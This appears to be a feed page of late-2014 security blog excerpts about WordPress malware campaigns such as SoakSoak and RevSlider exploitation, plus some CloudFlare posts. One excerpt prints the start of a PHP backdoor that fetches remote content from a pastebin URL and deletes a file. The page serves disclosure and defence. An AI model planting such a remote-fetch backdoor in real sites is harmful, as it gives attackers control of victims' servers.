If you haven’t already noticed, we spent a good deal of time scraping the bottom of the interweb barrel, it’s dirty work, but someone has to do it. I’m not going to lie though, to us it’s fascinating digging up little nuggets daily, understanding how attackers think and uncovering the latest trends. Besides, it gives […]
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RSS feed for this sectionWebsite Backdoors Leverage the Pastebin Service
We continue our series of posts about hacker attacks that exploit a vulnerability in older versions of the popular RevSlider plugin. In this post we’ll show you a different backdoor variant that abuses the legitimate Pastebin.com service for hosting malicious files. Here’s the backdoor code: if(array_keys($_GET)[0] == ‘up’){ $content = file_get_contents(“http://pastebin . com/raw.php?i=JK5r7NyS”); if($content){unlink(‘evex.php’); $fh2 […]
2014 Website Defacements
Defacements are the most visual and obvious hack that a website can suffer from. They also come parcelled with their own exquisite sense of dread. Nothing gives that gut-wrenching feeling of “I’ve been hacked” more than seeing this: Most malware that we see on a daily basis is driven by some desire to profit off […]
CloudFlare in 2014: Bigger, Faster, Securer
At the end of 2013 we posted a blog article titled 2013: Rebuild the Engine; 2014: Step on the Gas which explained how in 2013 we had been rebuilding the engine that powers CloudFlare and how we expected 2014 to be when we stepped on the gas. In that blog post, we said that we’d […]
WP Symposium – Zero Day Vulnerability Dangers
Our friends at SpiderLabs released a blog post today talking about the latest WP Symposium file upload vulnerability, and the attacks they have been seeing in the wild. This specific vulnerability was disclosed publicly Dec 11th, and attacks against it have started. If you use this WordPress plugin we encourage you to update your plugin. […]
Analyzing The WordPress SoakSoak Favicon Backdoor
This post is a dissection of one of a few backdoor variations hackers are uploading via the RevSlider security hole. We also provide webmasters a complete mitigation plan. In the previous post we described how hackers upload a ZIP file which appears to be a new plugin theme, but in reality is being used to […]
New Malware Campaign – WPcache-Blogger – Affects Thousands more WordPress Websites via RevSlider
If SoakSoak wasn’t enough, we are starting to see a new malware campaign leveraging the RevSlider vulnerability and compromising thousands of WordPress sites in the last few days. Unlike SoakSoak, it’s comprised of 3 distinct malframes – creating one new campaign. We’re tracking each closely: 1- wpcache-blogger: This campaign is using the domain wpcache-blogger.com as […]
SoakSoak Campaign Evolves – New Wave of Attacks
Since Sunday, we have seen a new wave of SoakSoak reinfections. The Javascript continues to evolve and load other scripts in order to infect additional websites. We have updates for concerned webmasters looking to stay on top of the threat and keep their site protected against these kinds of attacks. To those websites that have […]
Kyoto Tycoon Secure Replication
Kyoto Tycoon is a distributed key-value store written by FAL Labs, and it is used extensively at CloudFlare. Like many popular key-value stores, Kyoto Tycoon uses timestamp-based replication to ensure eventual consistency and guarantee ordering. Kyoto Tycoon is an open source project, and in the spirit of the holidays, we’re contributing our internal changes back […]
SoakSoak: Payload Analysis – Evolution of Compromised Sites – IE 11
Thousands of WordPress sites has been hit by the SoakSoak attack lately. At this moment we know quit a lot about it. It uses the RevSlider vulnerability as a point of penetration. Then uploads a backdoor and infects all websites that share the same server account (so sites that don’t use the RevSlider plugin can […]
